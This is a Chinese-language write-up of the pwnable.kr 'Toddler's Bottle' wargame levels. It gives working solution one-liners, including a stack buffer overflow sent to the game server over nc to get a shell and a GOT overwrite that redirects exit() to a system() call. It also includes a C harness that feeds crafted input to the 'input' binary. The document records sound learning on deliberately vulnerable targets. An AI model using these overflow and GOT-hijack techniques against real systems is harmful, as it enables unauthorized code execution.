Toddler’s Bottle
col
./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"
bof
一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated
(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000
flag
拖到 ida 里,一开始觉得函数很少,而且找不到 pe 里的字符串,翻来翻去发现原来用 upx 压缩了。解压后就简单了,从 main 函数里直接就能看到引用的 flag 字符串内容。
passcode
观察代码可以看到,scanf、passcode1 和 passcode2 的地方都没有加取地址符,则数据不会写到这两个变量而是写道它们的值所指向的地址上。但 passcode1,passcode2 都没有初始化,所以它们的值是随机的——本该如此,但是在调用 login 之前会先调用 welcome 函数,welcome 中的 char name[100] 使得我们可以控制 p1 和 p2 变量的值。因为 welcome 和 login 的 ebp 是相等的,当栈重用时 p1 p2 占据的位置正好落在 name[100] 的范围内。而我们可以输入几乎任意的值到 name 里(除了 \x0 空白字符等,scanf(%s) 的限制)。
这样就能想到先把 p1 p2 的值初始化成它们的地址,然后再填入 if 中的两个整数满足条件,但实际上每次运行时栈的位置无法预知,所以不好做到。
从另一个角度看也可以利用任意 4 字节地址写入的能力直接绕过这个 if,比如直接跳到 system("/bin/cat flag"); 开始执行。可以通过改写 GOT 表来达到偷梁换柱的目的,这样程序在试图调用被篡改过函数时就会跳转到我们想要的位置。而可以选择的目标就是 scanf("%d", passcode1); 之后可以被调用到的函数。
查看 passcode 的 GOT 表,因为 printf scanf 的地址里有 \x0 \x20 所以排除掉,剩下可以选 fflush 和 exit。比如 exit 的地址是 0x0804a018。
Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
反汇编 elf 可以找到想要执行的 system("/bin/cat flag"); 地址是 0x80485e3。
所以做法就是先把 passcode1 的值初始化成 0x0804a018,然后执行到 scanf p1 时输入 0x80485e3。然后代码执行到 exit(0) 时就会跳转了。
python -c 'print "A"*96 + "\x18\xa0\x04\x08 134514147"' > /tmp/test ./passcode < /tmp/test
random
关键在于 If no seed value is provided, the rand() function is automatically seeded with a value of 1.
输入 3039230856
input
主要要熟悉 libc 函数……另外远程机上的环境也有所不同,要稍作调整。把代码拷到 /tmp 的单独目录下,并将 flag 链接到当前目录,因为当前目录是 input 的工作目录。
mkdir /tmp/ABC && cd /tmp/ABC ln -s /home/input2/flag flag cat > 1.c ; 输入源代码,PATH_INPUT 切换成 input 文件实际所在路径 gcc 1.c -o 1 && ./1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PATH_IN "st2-in"
#define PATH_ERR "st2-err"
#define PATH_OUT "st2-out"
#define PATH_0A "\x0a"
#if 0
#define PATH_INPUT "input"
#else
#define PATH_INPUT "/home/input2/input"
#endif
int main() {
char* n_argv[101] = {0};
// 1
for (int i = 0; i < 100; ++i) {
n_argv[i] = "";
}
n_argv[100] = NULL;
n_argv['A'] = "\x00";
n_argv['B'] = "\x20\x0a\x0d";
// 2
int n_in = open(PATH_IN, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
int n_err = open(PATH_ERR, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
write(n_in, "\x00\x0a\x00\xff", 4);
write(n_err, "\x00\x0a\x02\xff", 4);
lseek(n_in, 0, SEEK_SET);
lseek(n_err, 0, SEEK_SET);
dup2(n_in, STDIN_FILENO);
dup2(n_err, STDERR_FILENO);
// 3
char* n_env[3] = {0};
n_env[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe";
n_env[1] = NULL;
// 4
int fa = open(PATH_0A, O_CREAT|O_TRUNC|O_RDWR, S_IRWXU|S_IRWXO|S_IRWXG);
write(fa, "\x00\x00\x00\x00", 4);
close(fa);
// 5.1
n_argv['C'] = "10000";
int pid = -1;
if ((pid = fork()) == 0) {
execve(PATH_INPUT, n_argv, n_env);
printf("exec err: %d\n", errno);
}
else if (pid > 0) {
// 5.2
sleep(1);
int sk = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in target;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr("127.0.0.1");
target.sin_port = htons(10000);
if (connect(sk, (struct sockaddr*)&target, sizeof(target)) < 0)
printf("connect err: %d\n", errno);
send(sk, "\xde\xad\xbe\xef", 4, 0);
close(sk);
}
else {
puts("fork failed");
}
return 0;
}
